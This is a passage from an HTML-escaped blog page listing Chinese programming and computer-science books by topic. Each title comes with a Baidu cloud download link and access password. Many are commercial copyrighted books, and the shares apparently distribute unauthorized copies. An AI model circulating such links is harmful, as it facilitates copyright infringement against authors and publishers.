mq4c\u003c/li\u003e\u003cli\u003e3.4《编程高手箴言》 \u003ca href=\"https://pan.baidu.com/s/1vX6yEtEjk1yZgB__HDNdbQ\"\u003e百度云下载链接\u003c/a\u003e 密码: 8km9\u003c/li\u003e\u003cli\u003e4.1《编程之法 面试和算法心得》 \u003ca href=\"https://pan.baidu.com/s/1IsPuxpRrUsRRVVQcEz83dg\"\u003e百度云下载链接\u003c/a\u003e 密码: cuev\u003c/li\u003e\u003cli\u003e4.2《程序员代码面试指南 IT名企算法与数据结构题目最优解 》 \u003ca href=\"https://pan.baidu.com/s/1bjnICFszOoJAfzYg0KH3hg\"\u003e百度云下载链接\u003c/a\u003e 密码: fkug\u003c/li\u003e\u003cli\u003e4.3《算法Ⅰ-Ⅳ(C++ 实现)–基础、数据结构、排序和搜索(第三版)》 \u003ca href=\"https://pan.baidu.com/s/1I1EfR2N02ADE2rIHgWvIHg\"\u003e百度云下载链接\u003c/a\u003e 密码: 0mti\u003c/li\u003e\u003cli\u003e4.4《程序员实用算法》 \u003ca href=\"https://pan.baidu.com/s/1H4Y6siyhYBX05HQF4Mr9Rw\"\u003e百度云下载链接\u003c/a\u003e 密码: 7t52\u003c/li\u003e\u003cli\u003e4.5《编程珠玑(第2版)》 \u003ca href=\"https://pan.baidu.com/s/1wlymzCdyPwlXW4f4BxpaDw\"\u003e百度云下载链接\u003c/a\u003e 密码: nak4\u003c/li\u003e\u003cli\u003e4.6《编程之美》 \u003ca href=\"https://pan.baidu.com/s/16abwOxi0MHkhxGCN1mhtFg\"\u003e百度云下载链接\u003c/a\u003e 密码: stoj\u003c/li\u003e\u003cli\u003e4.7《程序调试思想与实践》 \u003ca href=\"https://pan.baidu.com/s/1-LlZDFpzCproicy8GnCcFQ\"\u003e百度云下载链接\u003c/a\u003e 密码: vak1\u003c/li\u003e\u003cli\u003e4.8《[改变未来的九大算法]管策》 \u003ca href=\"https://pan.baidu.com/s/1XjSG7HSWBxLDi647KiT2ZQ\"\u003e百度云下载链接\u003c/a\u003e 密码: cr7l\u003c/li\u003e\u003cli\u003e4.9《排序算法汇总》 \u003ca href=\"https://pan.baidu.com/s/171k-I-Mv0rbvd1S0SW40-A\"\u003e百度云下载链接\u003c/a\u003e 密码: 6ah8\u003c/li\u003e\u003cli\u003e4.10《算法与数据结构-实用算法基础教程》 \u003ca href=\"https://pan.baidu.com/s/1d_R-FHIaJvJHBp4NaX3eJQ\"\u003e百度云下载链接\u003c/a\u003e 密码: o7hw\u003c/li\u003e\u003cli\u003e5.1《matlab数学建模算法全收录 799页 47M 超清书签版》 \u003ca href=\"https://pan.baidu.com/s/1R6L33BQCI0K5-wbeBwpttw\"\u003e百度云下载链接\u003c/a\u003e 密码: m41s\u003c/li\u003e\u003cli\u003e5.2《常用数据挖掘算法总结及ython实现》 \u003ca href=\"https://pan.baidu.com/s/19WGUM9dxgwJfV7STBGRdHw\"\u003e百度云下载链接\u003c/a\u003e 密码: hg4w\u003c/li\u003e\u003cli\u003e5.3《机器学习十大算法》 \u003ca href=\"https://pan.baidu.com/s/1HIT3CPnBm4n-GKIWJppa3w\"\u003e百度云下载链接\u003c/a\u003e 密码: 2m1m\u003c/li\u003e\u003cli\u003e5.4《计算机程序设计艺术 The Art o Comuter rogramming 第2卷(第3版)英文版》 \u003ca href=\"https://pan.baidu.com/s/1aEBYATT0n_iWhvpMK2Ilpg\"\u003e百度云下载链接\u003c/a\u003e 密码: 1088\u003c/li\u003e\u003cli\u003e5.5《算法百科 Encycloeia o Algorithms》 \u003ca href=\"https://pan.baidu.com/s/1u9OH0YVhgBuMdqZ83EREqA\"\u003e百度云下载链接\u003c/a\u003e 密码: toi8\u003c/li\u003e\u003cli\u003e5.6《智能Web算法(中文版)》 \u003ca href=\"https://pan.baidu.com/s/1pWRYEAOO4LGE65PozNYDhA\"\u003e百度云下载链接\u003c/a\u003e 密码: dcom\u003c/li\u003e\u003cli\u003e5.7《现代计算机常用数据结构与算法》 \u003ca href=\"https://pan.baidu.com/s/1hnQPPC4n5olxSZAO2FOVqg\"\u003e百度云下载链接\u003c/a\u003e 密码: pmu4\u003c/li\u003e\u003cli\u003e5.8《数据挖掘原理与算法》 \u003ca href=\"https://pan.baidu.com/s/1IFvMclAodN57sAZtlJJDow\"\u003e百度云下载链接\u003c/a\u003e 密码: ol6i\u003c/li\u003e\u003cli\u003e5.9《计算几何–算法与应用(中文第三版)》 \u003ca href=\"https://pan.baidu.com/s/1i4PDjn2txtcBbeizqC8xzw\"\u003e百度云下载链接\u003c/a\u003e 密码: u03e\u003c/li\u003e\u003cli\u003e5.10《数值最优化算法(numerical otimization)》 \u003ca href=\"https://pan.baidu.com/s/1FOCXeKhAuqxvMrC-V54MsQ\"\u003e百度云下载链接\u003c/a\u003e 密码: 1d0l\u003c/li\u003e\u003cli\u003e5.11《计算机图形学原理及算法教程(Visual C++版)-和青芳 清华大学出版社》 \u003ca href=\"https://pan.baidu.com/s/1FcK4f9HoYm8wvd4COhYZZQ\"\u003e百度云下载链接\u003c/a\u003e 密码: nlmw\u003c/li\u003e\u003cli\u003e5.12《算法概论(Algorithm)》 \u003ca href=\"https://pan.baidu.com/s/1fZ1AMW7pJcOXmQYXfpKUjA\"\u003e百度云下载链接\u003c/a\u003e 密码: 4ewo\u003c/li\u003e\u003cli\u003e5.13《数据结构教程电子版 》 \u003ca href=\"https://pan.baidu.com/s/1vi1MjxIfH453LpLLaCCDMA\"\u003e百度云下载链接\u003c/a\u003e 密码: 9934\u003c/li\u003e\u003cli\u003e5.14《图论中的常用经典算法》 \u003ca href=\"https://pan.baidu.com/s/1mq9UGiM6N3NQYuI_EA4yGA\"\u003e百度云下载链接\u003c/a\u003e 密码: j7a5\u003c/li\u003e\u003c/ul\u003e\u003ch1 id=\"计算机基础\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9F%BA%E7%A1%80\" class=\"headerlink\" title=\"计算机基础\"\u003e\u003c/a\u003e计算机基础\u003c/h1\u003e\u003ch3 id=\"操作系统\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"操作系统\"\u003e\u003c/a\u003e操作系统\u003c/h3\u003e\u003cul\u003e\u003cli\u003e30天填自制操作系统 \u003ca href=\"https://pan.baidu.com/s/1b31YNCIAnHkOO9sTRA7_0Q\"\u003e百度云下载链接\u003c/a\u003e 密码:r616\u003c/li\u003e\u003cli\u003e操作系统之哲学原理 \u003ca href=\"https://pan.baidu.com/s/1iL5QooZAupZDN1sqky1few\"\u003e百度云下载链接\u003c/a\u003e 密码:2s4w\u003c/li\u003e\u003cli\u003e程序是怎样跑起来的 \u003ca href=\"https://pan.baidu.com/s/1DDEM-UaZjwBo3oZXgZmY8Q\"\u003e百度云下载链接\u003c/a\u003e 密码:4hkh\u003c/li\u003e\u003cli\u003e深入理解计算机操作系统 \u003ca href=\"https://pan.baidu.com/s/1EPP25Kc6lXDWr_H5O9Dt2g\"\u003e百度云下载链接\u003c/a\u003e 密码:ef4d\u003c/li\u003e\u003cli\u003e现代操作系统 \u003ca href=\"https://pan.baidu.com/s/1fFqOWweoPw3n5_Venu2Uzg\"\u003e百度云下载链接\u003c/a\u003e 密码:354c\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"汇编语言\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80\" class=\"headerlink\" title=\"汇编语言\"\u003e\u003c/a\u003e汇编语言\u003c/h3\u003e\u003cul\u003e\u003cli\u003e汇编语言(注:这边是王爽写的,我觉得写的很好,适合入门) \u003ca href=\"https://pan.baidu.com/s/1dhoXB3NPmJ_cdqqsHQNlog\"\u003e百度云下载链接\u003c/a\u003e 密码:tlaf\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"计算机网络\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C\" class=\"headerlink\" title=\"计算机网络\"\u003e\u003c/a\u003e计算机网络\u003c/h3\u003e\u003cul\u003e\u003cli\u003e计算机网络:自顶向下 \u003ca href=\"https://pan.baidu.com/s/1zHc0qYoGL8oQtnnilYYHAA\"\u003e百度云下载链接\u003c/a\u003e 密码:rs77\u003c/li\u003e\u003cli\u003e图解HTTP \u003ca href=\"https://pan.baidu.com/s/138ISIyDHhmlyDDWzCvCmSw\"\u003e百度云下载链接\u003c/a\u003e 密码:olev\u003c/li\u003e\u003cli\u003e图解TC/IP \u003ca href=\"https://pan.baidu.com/s/1mr1wYHu7h3XGg4rIThyeZg\"\u003e百度云下载链接\u003c/a\u003e 密码:5k33\u003c/li\u003e\u003cli\u003e网络是怎样连接的 \u003ca href=\"https://pan.baidu.com/s/1xhjQiPvK2xzWJewackfkhQ\"\u003e百度云下载链接\u003c/a\u003e 密码:d7io\u003c/li\u003e\u003cli\u003eHTTP权威指南 \u003ca href=\"https://pan.baidu.com/s/12weNaVDW5g4H_7XmZOqjIw\"\u003e百度云下载链接\u003c/a\u003e 密码:dfb8\u003c/li\u003e\u003cli\u003eUNIX网络编程 \u003ca href=\"https://pan.baidu.com/s/11H0yH8nc5kPsCYbkdAjhHg\"\u003e百度云下载链接\u003c/a\u003e 密码:2fsl\u003c/li\u003e\u003c/ul\u003e\u003ch1 id=\"Python\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#Python\" class=\"headerlink\" title=\"Python\"\u003e\u003c/a\u003ePython\u003c/h1\u003e\u003ch3 id=\"1、Python基础\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#1%E3%80%81Python%E5%9F%BA%E7%A1%80\" class=\"headerlink\" title=\"1、Python基础\"\u003e\u003c/a\u003e1、Python基础\u003c/h3\u003e\u003cul\u003e\u003cli\u003e编程小白的第一本Python入门书 \u003ca href=\"https://pan.baidu.com/s/1M4F6Mzttep63N2zBgDpTtg\"\u003e百度云下载链接\u003c/a\u003e 密码:4c6e\u003c/li\u003e\u003cli\u003ePython编程初学者指南 \u003ca href=\"https://pan.baidu.com/s/1bPWdTKqSjoFhhZwOMxUkvQ\"\u003e百度云下载链接\u003c/a\u003e 密码:igr1\u003c/li\u003e\u003cli\u003ePython高级编程 \u003ca href=\"https://pan.baidu.com/s/1MVpL_LKI9grSYSNdPPckrg\"\u003e百度云下载链接\u003c/a\u003e 密码:t0di\u003c/li\u003e\u003cli\u003ePython灰帽子 \u003ca href=\"https://pan.baidu.com/s/1F_ETqwicy6PPKR2RTeS46w\"\u003e百度云下载链接\u003c/a\u003e 密码:bfqp\u003c/li\u003e\u003cli\u003ePython开发技术详解 \u003ca href=\"https://pan.baidu.com/s/10g_6JCVao9FfwM2EzX0ssA\"\u003e百度云下载链接\u003c/a\u003e 密码:6jwm\u003c/li\u003e\u003cli\u003ePython开发实战 \u003ca href=\"https://pan.baidu.com/s/1e94-qxZt1dpiufSCCaSstA\"\u003e百度云下载链接\u003c/a\u003e 密码:23ow\u003c/li\u003e\u003cli\u003ePython网络编程基础 \u003ca href=\"https://pan.baidu.com/s/1aZeP6n01gk4vAUKTjtH3Mg\"\u003e百度云下载链接\u003c/a\u003e 密码:7tqp\u003c/li\u003e\u003cli\u003ePython学习手册 \u003ca href=\"https://pan.baidu.com/s/1VbYox9fDQy94TkM-X8K4jA\"\u003e百度云下载链接\u003c/a\u003e 密码:hcrk\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"2、数据分析与爬虫\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#2%E3%80%81%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%E4%B8%8E%E7%88%AC%E8%99%AB\" class=\"headerlink\" title=\"2、数据分析与爬虫\"\u003e\u003c/a\u003e2、数据分析与爬虫\u003c/h3\u003e\u003cul\u003e\u003cli\u003e数据科学入门 \u003ca href=\"https://pan.baidu.com/s/14xoJwA_tJck8-8QBXy9EoA\"\u003e百度云下载链接\u003c/a\u003e 密码:9rms\u003c/li\u003e\u003cli\u003e用Python写网络爬虫 \u003ca href=\"https://pan.baidu.com/s/1n6fNguPIDvvu8iG_0uM4pA\"\u003e百度云下载链接\u003c/a\u003e 密码:r5dp\u003c/li\u003e\u003cli\u003ePython数据处理 \u003ca href=\"https://pan.baidu.com/s/1QTtLIQ2hqMjipvSsjf4m6g\"\u003e百度云下载链接\u003c/a\u003e 密码:o0tv\u003c/li\u003e\u003cli\u003ePython数据分析实战 \u003ca href=\"https://pan.baidu.com/s/1JmvXBi7Fw6Mm52Q7E8kkkQ\"\u003e百度云下载链接\u003c/a\u003e 密码:phi0\u003c/li\u003e\u003cli\u003ePython数据科学手册 \u003ca href=\"https://pan.baidu.com/s/1sJMO6gqxantGx3KbuA6iwQ\"\u003e百度云下载链接\u003c/a\u003e 密码:9a7o\u003c/li\u003e\u003cli\u003ePython数据可视化编程实战 \u003ca href=\"https://pan.baidu.com/s/1ieUc7muCq3UndPimvAe4og\"\u003e百度云下载链接\u003c/a\u003e 密码:1w8m\u003c/li\u003e\u003cli\u003e精通Scrapy网络爬虫 \u003ca href=\"https://pan.baidu.com/s/1PgYQIGgZa31hQB9oW_A5-A\"\u003e百度云下载链接\u003c/a\u003e 密码:tcbi\u003c/li\u003e\u003c/ul\u003e\u003ch1 id=\"Linux\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#Linux\" class=\"headerlink\" title=\"Linux\"\u003e\u003c/a\u003eLinux\u003c/h1\u003e\u003cul\u003e\u003cli\u003e精通正则表达式 \u003ca href=\"https://pan.baidu.com/s/1iL7i8Yw6wvbP7rFUoqTDWA\"\u003e百度云下载链接\u003c/a\u003e 密码:f1d4\u003c/li\u003e\u003cli\u003e鸟哥的Linux私房菜基础篇和服务器篇 \u003ca href=\"https://pan.baidu.com/s/1IPh8sK73Jz5sMbhQHIzNTg\"\u003e百度云下载链接\u003c/a\u003e 密码:tja9\u003c/li\u003e\u003cli\u003e深入Linux内核架构 \u003ca href=\"https://pan.baidu.com/s/1dPGb-8PG7TxSF-Vx-0aByQ\"\u003e百度云下载链接\u003c/a\u003e 密码:47fg\u003c/li\u003e\u003cli\u003eLinux宝典 \u003ca href=\"https://pan.baidu.com/s/1Z-eTM0axRKuFIc53ee--bA\"\u003e百度云下载链接\u003c/a\u003e 密码:krrb\u003c/li\u003e\u003cli\u003eLinux常用命令大全 \u003ca href=\"https://pan.baidu.com/s/1c4SxBDP5Wu6ko4B-9E_JcQ\"\u003e百度云下载链接\u003c/a\u003e 密码:2pub\u003c/li\u003e\u003cli\u003eLinux防火墙 \u003ca href=\"https://pan.baidu.com/s/1ix9N_PIHF6Io1nvZyjH_pQ\"\u003e百度云下载链接\u003c/a\u003e 密码:gok4\u003c/li\u003e\u003cli\u003eLinux高级程序设计 \u003ca href=\"https://pan.baidu.com/s/1Med3oV5WOliyGVVmnFfWZg\"\u003e百度云下载链接\u003c/a\u003e 密码:kkvf\u003c/li\u003e\u003cli\u003eLinux环境编程 \u003ca href=\"https://pan.baidu.com/s/1lQjGzp1_RqCpx75lObkNXw\"\u003e百度云下载链接\u003c/a\u003e 密码:5h9g\u003c/li\u003e\u003cli\u003eLinux命令详解词典 \u003ca href=\"https://pan.baidu.com/s/1deyXJArJXdewfL1pliMUpQ\"\u003e百度云下载链接\u003c/a\u003e 密码:es5e\u003c/li\u003e\u003cli\u003e汇编语言基于linux环境第3版 \u003ca href=\"https://pan.baidu.com/s/1eGBRGh_2iyElhKUa3bkJNg\"\u003e百度云下载链接\u003c/a\u003e 密码:g99m\u003c/li\u003e\u003c/ul\u003e\u003ch1 id=\"C语言\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#C%E8%AF%AD%E8%A8%80\" class=\"headerlink\" title=\"C语言\"\u003e\u003c/a\u003eC语言\u003c/h1\u003e\u003cul\u003e\u003cli\u003e经典C程序100例 \u003ca href=\"https://pan.baidu.com/s/1edLxfx9u2-PmuKst-YBLPw\"\u003e百度云下载链接\u003c/a\u003e 密码:afk7\u003c/li\u003e\u003cli\u003eC Primer Plus \u003ca href=\"https://pan.baidu.com/s/1_PyTRveKFrxT6hL2GnFoCA\"\u003e百度云下载链接\u003c/a\u003e 密码:fod7\u003c/li\u003e\u003cli\u003eC程序设计语言(包括课后答案等) \u003ca href=\"https://pan.baidu.com/s/1iLk2xuhW500RmN2jlmgMPQ\"\u003e百度云下载链接\u003c/a\u003e 密码:b840\u003c/li\u003e\u003cli\u003eC和指针 \u003ca href=\"https://pan.baidu.com/s/1_ADlbuRudlG6e8rksNJtVQ\"\u003e百度云下载链接\u003c/a\u003e 密码:76qm\u003c/li\u003e\u003cli\u003eC语言编程精粹 \u003ca href=\"https://pan.baidu.com/s/1YU_Ds6Y4oguhQamuu_oiig\"\u003e百度云下载链接\u003c/a\u003e 密码:e3vm\u003c/li\u003e\u003cli\u003eC语言参考手册 \u003ca href=\"https://pan.baidu.com/s/1gc2e_Ugj32DjkLIKNlWAEA\"\u003e百度云下载链接\u003c/a\u003e 密码:8hvu\u003c/li\u003e\u003cli\u003eC语言函数大全 \u003ca href=\"https://pan.baidu.com/s/1tmkSbKVDMI52uSZJ6fxslA\"\u003e百度云下载链接\u003c/a\u003e 密码:vimv\u003c/li\u003e\u003cli\u003eC语言解析教程 \u003ca href=\"https://pan.baidu.com/s/1VqGxVk5s5eokdZNXcWOBpQ\"\u003e百度云下载链接\u003c/a\u003e 密码:64a3\u003c/li\u003e\u003cli\u003eC语言深度剖析 \u003ca href=\"https://pan.baidu.com/s/1QwTqORJiwwslNOLf6k_aiA\"\u003e百度云下载链接\u003c/a\u003e 密码:i8jv\u003c/li\u003e\u003cli\u003eC专家编程 \u003ca href=\"https://pan.baidu.com/s/1dd6M8HCKheJ-wHsHTmho9w\"\u003e百度云下载链接\u003c/a\u003e 密码:46ds\u003c/li\u003e\u003c/ul\u003e\u003ch1 id=\"C\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#C\" class=\"headerlink\" title=\"C++\"\u003e\u003c/a\u003eC++\u003c/h1\u003e\u003cul\u003e\u003cli\u003eC++ Primer \u003ca href=\"https://pan.baidu.com/s/1aKFtG_VD9mh2VKQ4tsAHQQ\"\u003e百度云下载链接\u003c/a\u003e 密码:2rdb\u003c/li\u003e\u003cli\u003eC++编程思想 \u003ca href=\"https://pan.baidu.com/s/1ffEEUgPL96GiU9P_Otr5_w\"\u003e百度云下载链接\u003c/a\u003e 密码:s033\u003c/li\u003e\u003cli\u003eC++对象模型 \u003ca href=\"https://pan.baidu.com/s/105Q4sVBeho1jUGnQOG4CuA\"\u003e百度云下载链接\u003c/a\u003e 密码:4n4j\u003c/li\u003e\u003cli\u003e深入探索C++对象模型 \u003ca href=\"https://pan.baidu.com/s/123cO7E9e6YZKlHi22JRgYg\"\u003e百度云下载链接\u003c/a\u003e 密码:e1vr\u003c/li\u003e\u003cli\u003eC++ Templates \u003ca href=\"https://pan.baidu.com/s/1di4dwRI0RGvKUNh871uHGA\"\u003e百度云下载链接\u003c/a\u003e 密码:btl8\u003c/li\u003e\u003cli\u003eC++编程规范-101条规则准则与最佳实践 \u003ca href=\"https://pan.baidu.com/s/1dhbeeD_SOYV7Nus163RWqg\"\u003e百度云下载链接\u003c/a\u003e 密码:qwlv\u003c/li\u003e\u003cli\u003eC++沉思录中文第2版 \u003ca href=\"https://pan.baidu.com/s/1PVHIZhCWGyyQc-GYokUObw\"\u003e百度云下载链接\u003c/a\u003e 密码:oiqw\u003c/li\u003e\u003cli\u003eC++大学教程 \u003ca href=\"https://pan.baidu.com/s/12YYBfp7CrHPPCklq0EefQg\"\u003e百度云下载链接\u003c/a\u003e 密码:s7iq\u003c/li\u003e\u003cli\u003eC++设计新思维-泛型编程与设计之应用 \u003ca href=\"https://pan.baidu.com/s/1sDxLIzWX6VKz4JNHkqgYxA\"\u003e百度云下载链接\u003c/a\u003e 密码:p40u\u003c/li\u003e\u003cli\u003eEffective STL 中文版 \u003ca href=\"https://pan.baidu.com/s/1LP5_fdZKVLU3PQrZIUhuBA\"\u003e百度云下载链接\u003c/a\u003e 密码:pqrp\u003c/li\u003e\u003cli\u003eMore Effective C++中文版 \u003ca href=\"https://pan.baidu.com/s/1rE__8jOgRbwAU7FBhr10wQ\"\u003e百度云下载链接\u003c/a\u003e 密码:e4mf\u003c/li\u003e\u003cli\u003eSTL源码剖析 \u003ca href=\"https://pan.baidu.com/s/1mSeubHkR7CPHJDhO9Wzpgg\"\u003e百度云下载链接\u003c/a\u003e 密码:dadw\u003c/li\u003e\u003c/ul\u003e\u003ch1 id=\"人工智能\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD\" class=\"headerlink\" title=\"人工智能\"\u003e\u003c/a\u003e人工智能\u003c/h1\u003e\u003cul\u003e\u003cli\u003e贝叶斯思维统计建模的Python学习法 \u003ca href=\"https://pan.baidu.com/s/1ww67WhfgMzb1Qk0OisAvoQ\"\u003e百度云下载链接\u003c/a\u003e 密码:ffik\u003c/li\u003e\u003cli\u003e机器学习实战 \u003ca href=\"https://pan.baidu.com/s/14c72CKFR7VNS0ZpjB04X_A\"\u003e百度云下载链接\u003c/a\u003e 密码:4fns\u003c/li\u003e\u003cli\u003ePython机器学习及实践 \u003ca href=\"https://pan.baidu.com/s/1K3Ni-f0m9pRpHVsVWLbKrQ\"\u003e百度云下载链接\u003c/a\u003e 密码:ah7s\u003c/li\u003e\u003cli\u003eTensorflow实战Google深度学习框架 \u003ca href=\"https://pan.baidu.com/s/18_vSmv7gal4bsbaI8FYCkQ\"\u003e百度云下载链接\u003c/a\u003e 密码:1vcd\u003c/li\u003e\u003cli\u003eTensorFlow实践与智能系统 \u003ca href=\"https://pan.baidu.com/s/1ZHTmOQnYjUhzhcPAzRcAKA\"\u003e百度云下载链接\u003c/a\u003e 密码:e0i9\u003c/li\u003e\u003cli\u003e深度学习_中文版 \u003ca href=\"https://pan.baidu.com/s/1kIB3C6l3kiQ98Vsz17CcbQ\"\u003e百度云下载链接\u003c/a\u003e 密码:w7k4\u003c/li\u003e\u003c/ul\u003e\u003ch1 id=\"设计模式\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"设计模式\"\u003e\u003c/a\u003e设计模式\u003c/h1\u003e\u003cul\u003e\u003cli\u003e图解设计模式 \u003ca href=\"https://pan.baidu.com/s/1Hc38I4KIhcQvqHHR4QdNng\"\u003e百度云下载链接\u003c/a\u003e 密码:5k00\u003c/li\u003e\u003cli\u003e研磨设计模式 \u003ca href=\"https://pan.baidu.com/s/1Qm8volX57TVAJSDRiAGOzQ\"\u003e百度云下载链接\u003c/a\u003e 密码:q03j\u003c/li\u003e\u003cli\u003eHead First设计模式 \u003ca href=\"https://pan.baidu.com/s/1312h6li1Eg5_mS_tcGdLrg\"\u003e百度云下载链接\u003c/a\u003e 密码:hidi\u003c/li\u003e\u003c/ul\u003e\u003ch1 id=\"Java\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#Java\" class=\"headerlink\" title=\"Java\"\u003e\u003c/a\u003eJava\u003c/h1\u003e\u003ch3 id=\"Java-基础\"\u003e\u003ca href=\"https://xeonds.github.io/2021/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B9%A6%E7%B1%8D%E6%94%B6%E9%9B%86/#Java-%E5%9F%BA%E7%A1%80\" class=\"headerlink\" title=\"Java 基础\"\u003e\u003c/a\u003eJava 基础\u003c/h3\u003e\u003cul\u003e\u003cli\u003e阿里巴巴Java开发手册.zip \u003ca href=\"https://pan.baidu.com/s/1anieuNnWxhK0frWRQXoNYg\"\u003e百度云下载链接\u003c/a\u003e 提取码: f0wg\u003c/li\u003e\u003cli\u003e代码大全.zip \u003ca href=\"https://pan.baidu.com/s/1xntdPBakX5psx0lz194Lew\"\u003e百度云下载链接\u003c/a\u003e 提取码: ebfh\u003c/li\u003e\u003cli\u003e代码整洁之道.zip \u003ca href=\"https://pan.baidu.com/s/1Rg_TMSHxSUj3Ig_o523z7Q\"\u003e百度云下载链接\u003c/a\u003e 提取码: 8nng\u003c/li\u003e\u003cli\u003e码出高效.zip \u003ca href=\"https://pan.baidu.com/s/1Gd9hkm5TK5N8BcZYAh5HVQ\"\u003e百度云下载链接\u003c/a\u003e 提取码: qhlt\u003c/li\u003e\u003cli\u003e敏捷软件开发.zip \u003ca href=\"https://pan.baidu.com/s/1yN8D2kRiHZZ2nmSvs1CsYg\"\u003e百度云下载链接\u003c/a\u003e 提取码: oeww\u003c/li\u003e\u003cli\u003e轻量级JavaEE企业应用实战.zip \u003ca href=\"https://pan.baidu.com/s/1BXylPQoWrJbZFC0lCm9mXw\"\u003e百度云下载链接\u003c/a\u003e 提取码: ee2o\u003c/li\u003e\u003cli\u003e深入分析JavaWeb技术内幕.zip \u003ca href=\"https://pan.baidu.com/s/18NhOO5Xt84vk5h7xVIOTHQ\"\u003e百度云下载链接\u003c/a\u003e 提取码: mg6b\u003c/li\u003e\u003cli\u003e深入理解Java虚拟机.zip \u003ca href=\"https://pan.baidu.com/s/1hJxYemMfx38m3kAxyDr_qw\"\u003e百度云下载链接\u003c/a\u003e 提取码: 36eu\u003c/li\u003e\u003cli\u003e深入剖析Tomcat.zip \u003ca href=\"https://pan.baidu.com/s/1oe6fB__eEXphSSsmNN3DsQ\"\u003e百度云下载链接\u003c/a\u003e 提取码: l5fr\u003c/li\u003e\u003cli\u003eCamel in Action.zip \u003ca href=\"https://pan.baidu.com/s/1TyDou9Ik8zWrB3ajCoivrQ\"\u003e百度云下载链接\u003c/a\u003e 提取码: 7md7\u003c/li\u003e\u003cli\u003eEffective Java.zip \u003ca href=\"https://pan.baidu.com/s/1UbP1sOVdYRZuDcWdm3FW_A\"\u003e百度云下载链接\u003c/a\u003e 提取码: 1si0\u003c/li\u003e\u003cli\u003eEffective Java(英文版)《防失效,搅乱书名》.zip \u003ca href=\"https://pan.baidu.com/s/1v3oFZpL03S8QcL4EI35u6w\"\u003e百度云下载链接\u003c/a\u003e 提取码: tq4f\u003c/li\u003e\u003cli\u003eHead First Java.zip \u003ca href=\"https://pan.baidu.com/s/1ifUrzpPq01wUFjppaOsbUA\"\u003e百度云下载链接\u003c/a\u003e 提取码: gq2k\u003c/li\u003e\u003cli\u003eHead First Servlet and JSP.zip \u003ca href=\"https://pan.baidu.com/s/1PdlMdRXgGCJHNQMgMbwk2A\"\u003e百度云下载链接\u003c/a\u003e 提取码: vlgp\u003c/li\u003e\u003cli\u003eJava8实战.zip \u003ca 